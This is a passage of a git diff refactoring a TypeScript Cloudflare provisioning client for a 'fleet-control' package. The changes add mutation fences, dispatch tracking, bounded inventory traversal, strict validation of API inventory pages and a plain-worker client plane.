+    return this.#client.getDatabase(databaseId);
+  }
+
+  async createDatabase(
+    name: string,
+    fence: ExternalMutationFence,
+  ): Promise<PlainWorkerMutationOutcome> {
+    await fence.assertOwned();
+    return this.#client.withMutationFence(fence, async () => {
+      try {
+        await withProviderDispatchTracking(this.#client, () =>
+          this.#client.createDatabase(name),
+        );
+        return { status: 'succeeded' };
+      } catch (error) {
+        if (error instanceof CloudflareProviderRequestNotDispatchedError) {
+          throw error.cause;
+        }
+        await fence.assertOwned();
+        return { status: 'failed', error };
+      }
+    });
+  }
+
+  deleteDatabaseFenced(
+    databaseId: string,
+    fence: ExternalMutationFence,
+  ): Promise<void> {
+    // No separate pre-assert: like the command adapter, the transport asserts
+    // immediately before dispatch so assertion counts stay identical.
+    return this.#client.withMutationFence(fence, () =>
+      this.#client.deleteDatabase(databaseId),
+    );
+  }
+
+  deploymentStatus(
+    scriptName: string,
+  ): Promise<PlainWorkerDeploymentStatus | undefined> {
+    return this.#client.ordinaryWorkerDeploymentStatus(scriptName);
+  }
+
+  listVersions(
+    scriptName: string,
+  ): Promise<readonly PlainWorkerVersionSummary[] | undefined> {
+    return this.#client.listOrdinaryWorkerVersions(scriptName);
+  }
+
+  viewVersion(
+    scriptName: string,
+    versionId: string,
+  ): Promise<PlainWorkerVersionDetail> {
+    return this.#client.viewOrdinaryWorkerVersion(scriptName, versionId);
+  }
+
+  findVersion(
+    scriptName: string,
+    versionId: string,
+  ): Promise<PlainWorkerVersionDetail | undefined> {
+    return this.#client.findOrdinaryWorkerVersion(scriptName, versionId);
+  }
+
+  async uploadCandidate(
+    intent: PlainWorkerUploadIntent,
+    fence: ExternalMutationFence,
+  ): Promise<PlainWorkerUploadOutcome> {
+    const prepared = await this.#client.prepareOrdinaryWorkerUpload(intent);
+    await fence.assertOwned();
+    return this.#client.withMutationFence(fence, async () => {
+      try {
+        await withProviderDispatchTracking(this.#client, () =>
+          this.#client.dispatchOrdinaryWorkerUpload(prepared),
+        );
+        return { status: 'succeeded', cleanup: { status: 'succeeded' } };
+      } catch (error) {
+        if (error instanceof CloudflareProviderRequestNotDispatchedError) {
+          throw error.cause;
+        }
+        await fence.assertOwned();
+        return {
+          status: 'failed',
+          error,
+          cleanup: { status: 'succeeded' },
+        };
+      }
+    });
+  }
+
+  async createDeployment(
+    scriptName: string,
+    versions: readonly OrdinaryWorkerDeploymentVersion[],
+    fence: ExternalMutationFence,
+  ): Promise<PlainWorkerMutationOutcome> {
+    const prepared = this.#client.prepareOrdinaryWorkerDeployment(versions);
+    await fence.assertOwned();
+    return this.#client.withMutationFence(fence, async () => {
+      try {
+        await withProviderDispatchTracking(this.#client, () =>
+          this.#client.dispatchOrdinaryWorkerDeployment(scriptName, prepared),
+        );
+        return { status: 'succeeded' };
+      } catch (error) {
+        if (error instanceof CloudflareProviderRequestNotDispatchedError) {
+          throw error.cause;
+        }
+        await fence.assertOwned();
+        return { status: 'failed', error };
+      }
+    });
+  }
+
+  async deleteWorkerScript(
+    scriptName: string,
+    fence: ExternalMutationFence,
+  ): Promise<'deleted' | 'absent'> {
+    await fence.assertOwned();
+    return this.#client.withMutationFence(fence, () =>
+      this.#client.deleteOrdinaryWorkerScript(scriptName),
+    );
+  }
+
+  async exportDatabase(
+    database: { readonly id: string; readonly name: string },
+    fence: ExternalMutationFence,
+  ): Promise<PlainWorkerDatabaseExportResult> {
+    await fence.assertOwned();
+    // The SDK transport asserts on every export poll, unlike the command
+    // adapter's single assertion. Its store filename is `${database.id}-…`
+    // rather than `${database.name}-…`; shared tests compare neither fact.
+    const exported = await this.#client.withMutationFence(fence, () =>
+      this.#client.exportDatabase(database.id),
+    );
+    return {
+      location: exported.location,
+      size: exported.size,
+      sha256: exported.sha256,
+    };
+  }
+}
diff --git a/packages/fleet-control/src/cloudflare-client-config.ts b/packages/fleet-control/src/cloudflare-client-config.ts
new file mode 100644
index 00000000..9b3c2f90
--- /dev/null
+++ b/packages/fleet-control/src/cloudflare-client-config.ts
@@ -0,0 +1,16 @@
+// SPDX-License-Identifier: Apache-2.0
+
+export const CLOUDFLARE_SDK_MAX_RETRIES = 2;
+export const CLOUDFLARE_SDK_MAX_ATTEMPTS = CLOUDFLARE_SDK_MAX_RETRIES + 1;
+export const CLOUDFLARE_INVENTORY_BOUND = 10_000;
+
+/**
+ * Fixed refusal shared by every bounded provider inventory traversal. It lives
+ * here because the client, the attachment scanner, and the bounded inventory
+ * engine all enforce the same bound and must refuse with the same bytes.
+ */
+export function inventoryBoundExceeded(label: string, max: number): Error {
+  return new Error(
+    `${label} exceeded the supported inventory bound of ${max} items`,
+  );
+}
diff --git a/packages/fleet-control/src/cloudflare-client.ts b/packages/fleet-control/src/cloudflare-client.ts
index 4434d4b9..da9ebebb 100644
--- a/packages/fleet-control/src/cloudflare-client.ts
+++ b/packages/fleet-control/src/cloudflare-client.ts
@@ -5,15 +5,86 @@ import { createHash } from 'node:crypto';
 import Cloudflare from 'cloudflare';
 import { toFile } from 'cloudflare/uploads';
 import PQueue from 'p-queue';
-import { ActiveRouteAttestationError } from './active-route.js';
+import { exactActiveVersionId } from './active-route.js';
 import { canonicalApplicationBindings } from './application-bindings.js';
+import {
+  CLOUDFLARE_INVENTORY_BOUND,
+  CLOUDFLARE_SDK_MAX_RETRIES,
+  inventoryBoundExceeded,
+} from './cloudflare-client-config.js';
+import {
+  advanceCloudflareFleetInventoryStage,
+  type CloudflareFleetInventoryDeps,
+  type FleetInventoryOrdinaryScriptDetail,
+  type FleetInventoryProviderBinding,
+} from './cloudflare-fleet-inventory.js';
+import {
+  attachCustomDomain,
+  type CloudflareSdk,
+  deleteOrdinaryWorkerScript,
+  detachCustomDomain,
+  disableOrdinaryWorkerPublicAccess,
+  dispatchOrdinaryWorkerDeployment,
+  dispatchOrdinaryWorkerUpload,
+  findOrdinaryWorkerVersion,
+  inspectActiveWorkerRoute,
+  inspectOrdinaryWorkerFootprint,
+  listCustomDomains,
+  listOrdinaryWorkerDatabases,
+  listOrdinaryWorkerSecretNames,
+  listOrdinaryWorkerVersions,
+  MAX_DATABASE_INVENTORY,
+  type OrdinaryWorkerContext,
+  type OrdinaryWorkerFootprint,
+  ordinaryWorkerDeploymentStatus,
+  ordinaryWorkerSecretNames,
+  ordinaryWorkerSubdomain,
+  type PreparedOrdinaryWorkerDeploymentVersions,
+  type PreparedOrdinaryWorkerUpload,
+  prepareOrdinaryWorkerDeployment,
+  prepareOrdinaryWorkerUpload,
+  viewOrdinaryWorkerVersion,
+  workerMigrations,
+} from './cloudflare-ordinary-worker-operations.js';
+import {
+  isNotFound,
+  readErrorFieldSafely,
+  refuseRedirectStatus,
+  sanitizedErrorName,
+} from './cloudflare-provider-errors.js';
 import type { CloudflareApiRateCoordinator } from './cloudflare-rate-coordinator.js';
 import {
-  type HostRoutingTarget,
-  parseHostRoutingTarget,
-} from './host-routing.js';
+  advanceWorkerAttachmentScan,
+  CloudflareAttachmentScanDriftError,
+  type CloudflareWorkerAttachmentScanContext,
+  listAllWorkerAttachments,
+  type WorkerAttachmentScanChunk,
+  type WorkerAttachmentScanInput,
+} from './cloudflare-worker-attachment-scan.js';
+import { namedWorkerUploadBody } from './cloudflare-worker-upload.js';
 import {
-  canonicalDeploymentEgressPolicy,
+  cancelBodyWithoutAwait,
+  captureDatabaseExportReceiptCapability,
+  type DurableDatabaseExportStore,
+  databaseExportReceiptIdentityFromUnknown,
+  isDatabaseExportReceiptError,
+} from './database-export-store.js';
+import {
+  advanceFleetInventoryProgress,
+  type CollectFleetInventoryOptions,
+  canonicalFleetInventoryRunOptions,
+  type FleetInventoryProviderContext,
+  type FleetInventoryStagedFact,
+  type FleetInventoryStagedRow,
+  type FleetInventoryStageResult,
+  initialFleetInventoryProgress,
+  initialFleetInventoryStage,
+  materializeFleetInventoryGeneration,
+} from './fleet-inventory-state.js';
+import type { HostRoutingTarget } from './host-routing.js';
+import { readField, readStringField } from './json-field-reads.js';
+import {
+  canonicalMaintenanceCapabilityPublicKey,
   externalPlatformResourceGroupId,
   externalStateScriptName,
   FLEET_AUDIT_PROXY_BINDING,
@@ -27,17 +98,34 @@ import {
 import { deploymentSpecDigest } from './spec-digest.js';
 import type {
   DatabaseExport,
+  DatabaseExportReceiptIdentity,
   DatabaseReference,
+  DecommissionAttachmentScanInput,
+  DecommissionAttachmentScanResult,
   DeploymentSecrets,
   DeploymentSpec,
   ExternalMutationFence,
   FleetResourceInventory,
+  OrdinaryWorkerDeploymentVersion,
+  PlainWorkerDatabaseInventoryEntry,
+  PlainWorkerDeploymentStatus,
   PlainWorkerRouteApi,
+  PlainWorkerUploadIntent,
+  PlainWorkerVersionDetail,
+  PlainWorkerVersionSummary,
   PromotionGuard,
   ProviderBindingIdentity,
   ScriptInventoryTarget,
 } from './types.js';
 
+// The SDK's repeated type query parameters return no rows from the live API.
+const WORKER_ROUTE_ZONE_TYPES = Object.freeze([
+  'full',
+  'partial',
+  'secondary',
+  'internal',
+] as const);
+
 const AUDIT_CONSUMER_SETTINGS = Object.freeze({
   batch_size: 100,
   max_concurrency: 4,
@@ -45,6 +133,80 @@ const AUDIT_CONSUMER_SETTINGS = Object.freeze({
   max_wait_time_ms: 5_000,
 });
 const SDK_TRANSPORT_TIMEOUT_MS = 2_147_483_647;
+/** The single in-memory drain reads one generation that is never persisted. */
+const DRAIN_GENERATION = 1;
+/**
+ * The in-memory drain runs each stage to completion, so it hands every chunk
+ * the largest budget the shared 9..1,000 provider-request contract allows.
+ */
+const DRAIN_PROVIDER_REQUEST_BUDGET = 1_000;
+const R2_INVENTORY_PAGE_SIZE = 1_000;
+const DRAIN_INSPECT_SUFFIX = ' could not be inspected';
+const DRAIN_INVENTORY_SUFFIX = ' could not be inventoried';
+const STRUCTURED_CLONE = structuredClone;
+const UTF8_ENCODER = new TextEncoder();
+const MAX_DURABLE_OBJECT_NAMESPACE_ID_BYTES = 4_096;
+
+function malformedDurableObjectNamespaceInventory(): Error {
+  return new Error('Durable Object namespace ID inventory is malformed');
+}
+
+function canonicalDurableObjectNamespaceIds(value: unknown): readonly string[] {
+  let ids: string[];
+  try {
+    if (
+      !Array.isArray(value) ||
+      Object.getPrototypeOf(value) !== Array.prototype
+    ) {
+      throw malformedDurableObjectNamespaceInventory();
+    }
+    const lengthDescriptor = Object.getOwnPropertyDescriptor(value, 'length');
+    const length =
+      lengthDescriptor && 'value' in lengthDescriptor
+        ? lengthDescriptor.value
+        : undefined;
+    if (
+      !Number.isSafeInteger(length) ||
+      length < 0 ||
+      length > CLOUDFLARE_INVENTORY_BOUND ||
+      lengthDescriptor?.writable !== true ||
+      lengthDescriptor.enumerable !== false ||
+      lengthDescriptor.configurable !== false
+    ) {
+      throw malformedDurableObjectNamespaceInventory();
+    }
+    const keys = Reflect.ownKeys(value);
+    if (
+      keys.length !== length + 1 ||
+      !keys.includes('length') ||
+      keys.some((key) => typeof key !== 'string')
+    ) {
+      throw malformedDurableObjectNamespaceInventory();
+    }
+    ids = [];
+    for (let index = 0; index < length; index += 1) {
+      const descriptor = Object.getOwnPropertyDescriptor(value, String(index));
+      if (
+        !descriptor ||
+        !('value' in descriptor) ||
+        descriptor.writable !== true ||
+        descriptor.enumerable !== true ||
+        descriptor.configurable !== true ||
+        typeof descriptor.value !== 'string' ||
+        descriptor.value.length === 0 ||
+        UTF8_ENCODER.encode(descriptor.value).byteLength >
+          MAX_DURABLE_OBJECT_NAMESPACE_ID_BYTES
+      ) {
+        throw malformedDurableObjectNamespaceInventory();
+      }
+      ids.push(descriptor.value);
+    }
+    STRUCTURED_CLONE(value);
+  } catch {
+    throw malformedDurableObjectNamespaceInventory();
+  }
+  return [...new Set(ids)].sort();
+}
 
 export interface CloudflareClientOptions {
   readonly accountId: string;
@@ -57,19 +219,26 @@ export interface CloudflareClientOptions {
   readonly exportStore?: DurableDatabaseExportStore;
 }
 
-export interface DurableDatabaseExportStore {
-  write(input: {
-    readonly databaseId: string;
-    readonly fileName: string;
-    readonly body: ReadableStream<Uint8Array>;
-    readonly contentLength?: number;
-  }): Promise<{
-    readonly location: string;
-    readonly size: number;
-    readonly sha256: string;
-  }>;
+export type PlainWorkerCloudflareClientOptions = Omit<
+  CloudflareClientOptions,
+  'dispatchNamespace'
+> & { readonly plane: 'plain-worker' };
+
+export class CloudflarePlaneCapabilityError extends Error {
+  readonly operation: string;
+  readonly requiredPlane = 'workers-for-platforms' as const;
+
+  constructor(operation: string) {
+    super(
+      `Cloudflare operation '${operation}' requires the workers-for-platforms plane`,
+    );
+    this.name = 'CloudflarePlaneCapabilityError';
+    this.operation = operation;
+  }
 }
 
+export type { DurableDatabaseExportStore } from './database-export-store.js';
+
 export interface ControlWorkerSpec {
   readonly scriptName: string;
   readonly mainModule: string;
@@ -113,114 +282,18 @@ export interface ControlWorkerInspection {
   readonly zoneRoutes: readonly import('./types.js').WorkerZoneRoute[];
 }
 
-export interface OrdinaryWorkerFootprint {
-  readonly scriptPresent: boolean;
-  readonly workersDevEnabled?: boolean;
-  readonly previewUrlsEnabled?: boolean;
-  readonly customDomains: readonly Readonly<{
-    id: string;
-    hostname: string;
-    service: string;
-  }>[];
-  readonly zoneRoutes: readonly import('./types.js').WorkerZoneRoute[];
-}
+export type { OrdinaryWorkerFootprint } from './cloudflare-ordinary-worker-operations.js';
 
 const SCRIPT_INVENTORY_PREFIX = '__anchorage_script__:';
 const FLEET_SCRIPT_TAG = 'fleet:anchorage';
 
-type ProviderDeployment =
-  | Readonly<{
-      versions?: readonly Readonly<{
-        percentage?: unknown;
-        version_id?: unknown;
-      }>[];
-    }>
-  | undefined;
-
-function exactActiveVersionId(
-  deployment: ProviderDeployment,
-  context: string,
-): string {
-  if (!deployment || !Array.isArray(deployment.versions)) {
-    throw new Error(`${context} has no current deployment`);
-  }
-  for (const version of deployment.versions) {
-    if (
-      typeof version.percentage !== 'number' ||
-      !Number.isFinite(version.percentage) ||
-      version.percentage < 0 ||
-      version.percentage > 100 ||
-      typeof version.version_id !== 'string' ||
-      version.version_id.length === 0
-    ) {
-      throw new Error(`${context} has malformed version traffic metadata`);
-    }
-  }
-  const onlyVersion = deployment.versions[0];
-  if (
-    deployment.versions.length !== 1 ||
-    onlyVersion?.percentage !== 100 ||
-    typeof onlyVersion.version_id !== 'string'
-  ) {
-    throw new Error(
-      `${context} must have exactly one current version receiving 100% of traffic`,
-    );
-  }
-  return onlyVersion.version_id;
-}
-
-/**
- * The traffic split as the provider reported it, for a refusal to carry. Only
- * well-formed entries survive: a malformed one is exactly what
- * `exactActiveVersionId` already refused over, and inventing a shape for it
- * would put a fabricated percentage into an operator-facing error.
- */
-function observedTrafficSplit(
-  deployment: ProviderDeployment,
-): readonly Readonly<{ artifactVersion: string; percentage: number }>[] {
-  return (deployment?.versions ?? []).flatMap((version) =>
-    typeof version.version_id === 'string' &&
-    typeof version.percentage === 'number' &&
-    Number.isFinite(version.percentage)
-      ? [
-          {
-            artifactVersion: version.version_id,
-            percentage: version.percentage,
-          },
-        ]
-      : [],
-  );
-}
-
-/**
- * `exactActiveVersionId` with its refusal restated as an attestation refusal
- * carrying the split. The rule is unchanged and deliberately not relaxed: one
- * version at 100% or nothing, never the version with the largest share.
- */
-function attestedActiveVersionId(
-  deployment: ProviderDeployment,
-  scriptName: string,
-): string {
-  try {
-    return exactActiveVersionId(deployment, `ordinary Worker '${scriptName}'`);
-  } catch (cause) {
-    throw new ActiveRouteAttestationError(
-      cause instanceof Error ? cause.message : String(cause),
-      {
-        routedScriptName: scriptName,
-        trafficSplit: observedTrafficSplit(deployment),
-      },
-      { cause },
-    );
+export class CloudflareProviderRequestNotDispatchedError extends Error {
+  constructor(cause: unknown) {
+    super('Cloudflare provider request was not dispatched', { cause });
+    this.name = 'CloudflareProviderRequestNotDispatchedError';
   }
 }
 
-function tagValue(tags: readonly string[], prefix: string): string | undefined {
-  return tags.find((tag) => tag.startsWith(prefix))?.slice(prefix.length);
-}
-
-type CloudflareSdk = InstanceType<typeof Cloudflare>;
-
 const REQUIRED_ZONE_PERMISSION_GROUPS = [
   ['Zone Read'],
   ['Workers Routes Read'],
@@ -326,15 +399,6 @@ function assertAccountWideZoneToken(options: {
   }
 }
 
-function isNotFound(error: unknown): boolean {
-  return Boolean(
-    error &&
-      typeof error === 'object' &&
-      'status' in error &&
-      error.status === 404,
-  );
-}
-
 function d1RestParameters(
   bindings: readonly string[],
   operation: string,
@@ -379,43 +443,6 @@ export function dispatchMigrations(spec: DeploymentSpec) {
   );
 }
 
-export function workerMigrations(
-  migrations: readonly import('./types.js').DurableObjectMigration[],
-  previousTag?: string,
-) {
-  if (migrations.length === 0) return undefined;
-  let pending = migrations;
-  if (previousTag !== undefined) {
-    const previousIndex = migrations.findIndex(
-      (migration) => migration.tag === previousTag,
-    );
-    if (previousIndex < 0) {
-      throw new Error(
-        `previous Durable Object tag '${previousTag}' is absent from the ordered migration history`,
-      );
-    }
-    pending = migrations.slice(previousIndex + 1);
-  }
-  if (pending.length === 0) return undefined;
-  return {
-    new_tag: pending.at(-1)?.tag,
-    old_tag: previousTag,
-    steps: pending.map((migration) => ({
-      new_sqlite_classes: migration.newSqliteClasses
-        ? [...migration.newSqliteClasses]
-        : undefined,
-      new_classes: migration.newClasses ? [...migration.newClasses] : undefined,
-      deleted_classes: migration.deletedClasses
-        ? [...migration.deletedClasses]
-        : undefined,
-      renamed_classes: migration.renamedClasses?.map((renamed) => ({
-        from: renamed.from,
-        to: renamed.to,
-      })),
-    })),
-  };
-}
-
 async function hashExport(
   body: ReadableStream<Uint8Array>,
 ): Promise<{ sha256: string; size: number }> {
@@ -431,21 +458,211 @@ async function hashExport(
   return { sha256: hash.digest('hex'), size };
 }
 
+async function funnel<T>(operation: () => T | PromiseLike<T>): Promise<T> {
+  return operation();
+}
+
+let trackProviderDispatch: <T>(
+  client: CloudflareProvisioningClient,
+  operation: () => Promise<T>,
+) => Promise<T>;
+
+let scanProviderAttachments: (
+  client: CloudflareProvisioningClient,
+  input: WorkerAttachmentScanInput,
+) => Promise<WorkerAttachmentScanChunk>;
+
+let buildFleetInventoryContext: (
+  client: CloudflareProvisioningClient,
+) => FleetInventoryProviderContext;
+
+/**
+ * Restores the two provider-error details the durable engine deliberately
+ * sanitizes. The chunk's call-local diagnostics carry the transient text, so
+ * the in-memory drain composes today's exact bytes without the engine ever
+ * staging them.
+ */
+function drainFindingRows(
+  result: FleetInventoryStageResult,
+): readonly FleetInventoryStagedRow[] {
+  if (result.diagnostics.length === 0) return result.rows;
+  const remaining = [...result.diagnostics];
+  return result.rows.map((row) => {
+    const detail = row.payload.detail;
+    if (row.kind !== 'finding' || typeof detail !== 'string') return row;
+    const label = detail.endsWith(DRAIN_INSPECT_SUFFIX)
+      ? detail.slice(0, -DRAIN_INSPECT_SUFFIX.length)
+      : detail.endsWith(DRAIN_INVENTORY_SUFFIX)
+        ? detail.slice(0, -DRAIN_INVENTORY_SUFFIX.length)
+        : undefined;
+    if (label === undefined) return row;
+    const prefix = `${label}: `;
+    const index = remaining.findIndex((entry) => entry.startsWith(prefix));
+    const diagnostic = index < 0 ? undefined : remaining.splice(index, 1)[0];
+    if (diagnostic === undefined) return row;
+    return {
+      ...row,
+      payload: {
+        ...row.payload,
+        detail: `${detail}: ${diagnostic.slice(prefix.length)}`,
+      },
+    };
+  });
+}
+
+/**
+ * Runs `operation`; rejects with
+ * `CloudflareProviderRequestNotDispatchedError` (`cause` = the failure) when it
+ * fails before any provider mutation request was invoked. Provider reads do
+ * not count. Not re-entrant: one scope per outcome member. A nested scope
+ * shadows the outer store, so a mutation dispatched inside it leaves the outer
+ * tracker unmarked and a later outer failure is misclassified as pre-dispatch.
+ */
+export function withProviderDispatchTracking<T>(
+  client: CloudflareProvisioningClient,
+  operation: () => Promise<T>,
+): Promise<T> {
+  return trackProviderDispatch(client, operation);
+}
+
+/** @internal Package-private seam for the resumable lifecycle engine. */
+export function advanceCloudflareWorkerAttachmentScan(
+  client: CloudflareProvisioningClient,
+  input: WorkerAttachmentScanInput,
+): Promise<WorkerAttachmentScanChunk> {
+  return scanProviderAttachments(client, input);
+}
+
+/**
+ * @internal Package-private provider seam for the bounded account inventory
+ * coordinator. Each context memoizes its provider listings, so one context
+ * serves one bounded run or one in-memory drain.
+ */
+export function cloudflareFleetInventoryContext(
+  client: CloudflareProvisioningClient,
+): FleetInventoryProviderContext {
+  return buildFleetInventoryContext(client);
+}
+
+/** @internal Package-private conversion for the bounded lifecycle provider. */
+export function mapDecommissionAttachmentScanChunk(
+  chunk: WorkerAttachmentScanChunk,
+): DecommissionAttachmentScanResult {
+  switch (chunk.status) {
+    case 'pending':
+      if (chunk.attachments.length !== 0) {
+        throw new Error(
+          'bounded attachment scan returned unexpected accumulated attachments',
+        );
+      }
+      return {
+        status: 'pending',
+        progress: chunk.progress,
+        providerFetchAttemptsReserved: chunk.providerFetchAttemptsReserved,
+      };
+    case 'attached':
+      if (chunk.attachment.plane === 'ordinary') {
+        return {
+          status: 'attached',
+          attachment: {
+            plane: 'ordinary',
+            scriptName: chunk.attachment.scriptName,
+          },
+          providerFetchAttemptsReserved: chunk.providerFetchAttemptsReserved,
+        };
+      }
+      if (
+        chunk.attachment.plane !== 'dispatch' ||
+        !chunk.attachment.dispatchNamespace
+      ) {
+        throw new Error(
+          'bounded attachment scan returned malformed dispatch attachment',
+        );
+      }
+      return {
+        status: 'attached',
+        attachment: {
+          plane: 'dispatch',
+          scriptName: chunk.attachment.scriptName,
+          dispatchNamespace: chunk.attachment.dispatchNamespace,
+        },
+        providerFetchAttemptsReserved: chunk.providerFetchAttemptsReserved,
+      };
+    case 'complete':
+      if (chunk.attachments.length !== 0) {
+        throw new Error(
+          'bounded attachment scan returned unexpected accumulated attachments',
+        );
+      }
+      return {
+        status: 'complete',
+        evidenceSha256: chunk.evidenceSha256,
+        evidenceCount: chunk.evidenceCount,
+        providerFetchAttemptsReserved: chunk.providerFetchAttemptsReserved,
+      };
+    default: {
+      const unknownChunk: never = chunk;
+      void unknownChunk;
+      throw new Error('bounded attachment scan returned unknown result');
+    }
+  }
+}
+
 export class CloudflareProvisioningClient implements PlainWorkerRouteApi {
+  /** Canonical immutable receipt authority, present only with receipt export. */
+  declare readonly databaseExportReceiptAuthority?: string;
+  /**
+   * Streams one stable operation receipt while independently hashing the
+   * provider download. Exact retries converge; collisions are preserved.
+   */
+  declare readonly exportDatabaseReceipt?: (
+    identity: DatabaseExportReceiptIdentity,
+  ) => Promise<DatabaseExport>;
   readonly #accountId: string;
   readonly #apiToken: string;
-  readonly #dispatchNamespace: string;
+  readonly #dispatchNamespace: string | undefined;
   readonly #client: CloudflareSdk;
+  readonly #inventoryProofClient: CloudflareSdk;
+  readonly #ordinary: OrdinaryWorkerContext;
+  readonly #attachmentScan: CloudflareWorkerAttachmentScanContext;
   readonly #operationQueue: PQueue;
   readonly #requestQueue: PQueue;
   readonly #rateCoordinator: CloudflareApiRateCoordinator;
   readonly #exportStore: DurableDatabaseExportStore | undefined;
   readonly #fetch: typeof fetch;
+  readonly #dispatchTracker = new AsyncLocalStorage<{ dispatched: boolean }>();
   readonly #mutationFence = new AsyncLocalStorage<ExternalMutationFence>();
   readonly #requestTimeoutMs: number;
 
-  constructor(options: CloudflareClientOptions) {
-    if (!options.accountId || !options.apiToken || !options.dispatchNamespace) {
+  static {
+    // This module-private friend keeps dispatch classification out of the
+    // public class; by convention only the direct ordinary-Worker adapter
+    // enters it, and Workers for Platforms callers never do.
+    trackProviderDispatch = (client, operation) =>
+      client.#trackDispatch(operation);
+    scanProviderAttachments = (client, input) =>
+      advanceWorkerAttachmentScan(client.#attachmentScan, input);
+    buildFleetInventoryContext = (client) => client.#fleetInventoryContext();
+  }
+
+  constructor(
+    options: CloudflareClientOptions | PlainWorkerCloudflareClientOptions,
+  ) {
+    if ('plane' in options) {
+      if (options.plane !== 'plain-worker') {
+        throw new Error('unsupported Cloudflare client plane');
+      }
+      if (!options.accountId || !options.apiToken) {
+        throw new Error('accountId and apiToken are required');
+      }
+      if ('dispatchNamespace' in options) {
+        throw new Error('plain-worker plane cannot name a dispatch namespace');
+      }
+    } else if (
+      !options.accountId ||
+      !options.apiToken ||
+      !options.dispatchNamespace
+    ) {
       throw new Error(
         'accountId, apiToken, and dispatchNamespace are required',
       );
@@ -455,7 +672,8 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi {
     }
     this.#accountId = options.accountId;
     this.#apiToken = options.apiToken;
-    this.#dispatchNamespace = options.dispatchNamespace;
+    this.#dispatchNamespace =
+      'plane' in options ? undefined : options.dispatchNamespace;
     const concurrency = options.concurrency ?? 8;
     if (!Number.isInteger(concurrency) || concurrency < 1) {
       throw new Error('concurrency must be a positive integer');
@@ -463,8 +681,33 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi {
     this.#operationQueue = new PQueue({ concurrency });
     this.#requestQueue = new PQueue({ concurrency });
     this.#rateCoordinator = options.rateCoordinator;
-    this.#exportStore = options.exportStore;
-    this.#fetch = options.fetch ?? fetch;
+    const exportStore = options.exportStore;
+    this.#exportStore = exportStore;
+    const receiptCapability = exportStore
+      ? captureDatabaseExportReceiptCapability(exportStore, () => [
+          exportStore.receiptAuthority,
+          exportStore.writeReceipt,
+        ])
+      : undefined;
+    if (receiptCapability) {
+      const writeReceipt = receiptCapability.method as NonNullable<
+        DurableDatabaseExportStore['writeReceipt']
+      >;
+      this.databaseExportReceiptAuthority = receiptCapability.authority;
+      this.exportDatabaseReceipt = (identity) =>
+        this.#exportDatabaseReceipt(identity, {
+          authority: receiptCapability.authority,
+          method: writeReceipt,
+        });
+    }
+    const fetchFn = options.fetch ?? fetch;
+    // Forcing the policy after the spread denies a call site the chance to opt
+    // into following a redirect to an address the control plane did not choose.
+    // The SDK-routed callers classify the status themselves, so the rule at
+    // refuseRedirectStatus leaves the refusal to them; the raw dispatch script
+    // listing below reads the raw response and refuses there.
+    this.#fetch = (input, init) =>
+      fetchFn(input, { ...init, redirect: 'manual' });
     this.#requestTimeoutMs = options.requestTimeoutMs ?? 60_000;
     if (
       !Number.isSafeInteger(this.#requestTimeoutMs) ||
@@ -472,18 +715,156 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi {
     ) {
       throw new Error('requestTimeoutMs must be a positive integer');
     }
-    const rateLimitedFetch: typeof fetch = async (input, init) => {
-      return this.#request(input, init);
-    };
+    const rateLimitedFetch: typeof fetch = (input, init) =>
+      this.#request(input, init);
     this.#client = new Cloudflare({
       apiToken: options.apiToken,
       fetch: rateLimitedFetch,
-      maxRetries: 2,
+      // An injected logger cannot be disabled independently, so the client
+      // option must override CLOUDFLARE_LOG before credentials reach the SDK.
+      logLevel: 'off',
+      maxRetries: CLOUDFLARE_SDK_MAX_RETRIES,
       // The SDK timeout starts before its custom transport. Apply the real
       // timeout after shared quota acquisition so replica coordination cannot
       // consume the network request's lease-bounded execution budget.
       timeout: SDK_TRANSPORT_TIMEOUT_MS,
     });
+    const inventoryProofClient = (shape: 'array' | 'items') =>
+      this.#client.withOptions({
+        fetch: async (input, init) => {
+          const response = await rateLimitedFetch(input, init);
+          if (!response.ok) return response;
+          const mediaType = response.headers
+            .get('content-type')
+            ?.split(';')[0]
+            ?.trim();
+          if (
+            response.status !== 200 ||
+            !(
+              mediaType?.includes('application/json') ||
+              mediaType?.endsWith('+json')
+            )
+          ) {
+            const error = new Error(
+              'Cloudflare inventory response is not complete JSON',
+            );
+            cancelBodyWithoutAwait(response.body, error);
+            throw error;
+          }
+          const parse = response.json.bind(response);
+          // SDK page defaults erase missing result arrays before callers see them.
+          const validatedJson: Response['json'] = async () => {
+            const value: unknown = await parse();
+            const result = readField(value, 'result');
+            const rows =
+              shape === 'array' ? result : readField(result, 'items');
+            // The versions list returns successful pages with errors: null.
+            const errors = readField(value, 'errors') ?? undefined;
+            const info = readField(value, 'result_info') ?? undefined;
+            const cursor = readField(info, 'cursor');
+            const totalPages = readField(info, 'total_pages');
+            const totalCount = readField(info, 'total_count');
+            const perPage = readField(info, 'per_page');
+            const requestUrl = new URL(
+              typeof input === 'string' || input instanceof URL
+                ? input
+                : input.url,
+            );
+            const requestedPage = Number(
+              requestUrl.searchParams.get('page') ?? '1',
+            );
+            if (
+              readField(value, 'success') !== true ||
+              !Array.isArray(rows) ||
+              rows.some(
+                (row) =>
+                  row === null || typeof row !== 'object' || Array.isArray(row),
+              ) ||
+              (errors !== undefined &&
+                (!Array.isArray(errors) || errors.length !== 0)) ||
+              (info !== undefined &&
+                (typeof info !== 'object' || Array.isArray(info))) ||
+              (cursor !== undefined &&
+                cursor !== null &&
+                typeof cursor !== 'string') ||
+              [totalPages, totalCount, perPage].some(
+                (value) =>
+                  value !== undefined &&
+                  (typeof value !== 'number' ||
+                    !Number.isSafeInteger(value) ||
+                    value < 0),
+              ) ||
+              (rows.length === 0 &&
+                ((typeof cursor === 'string' && cursor.length > 0) ||
+                  (!requestUrl.searchParams.has('cursor') &&
+                    typeof totalPages === 'number' &&
+                    totalPages > requestedPage) ||
+                  (!requestUrl.searchParams.has('cursor') &&
+                    typeof totalCount === 'number' &&
+                    totalCount > 0 &&
+                    (requestedPage === 1 ||
+                      (typeof perPage === 'number' &&
+                        perPage > 0 &&
+                        totalCount / perPage > requestedPage - 1)))))
+            )
+              throw new Error(
+                'Cloudflare inventory response has incomplete page metadata',
+              );
+            return value;
+          };
+          return new Proxy(response, {
+            get(target, property) {
+              if (property === 'json') return validatedJson;
+              const value = Reflect.get(target, property, target);
+              return typeof value === 'function' ? value.bind(target) : value;
+            },
+          });
+        },
+      });
+    this.#inventoryProofClient = inventoryProofClient('array');
+    this.#ordinary = {
+      accountId: this.#accountId,
+      client: this.#client,
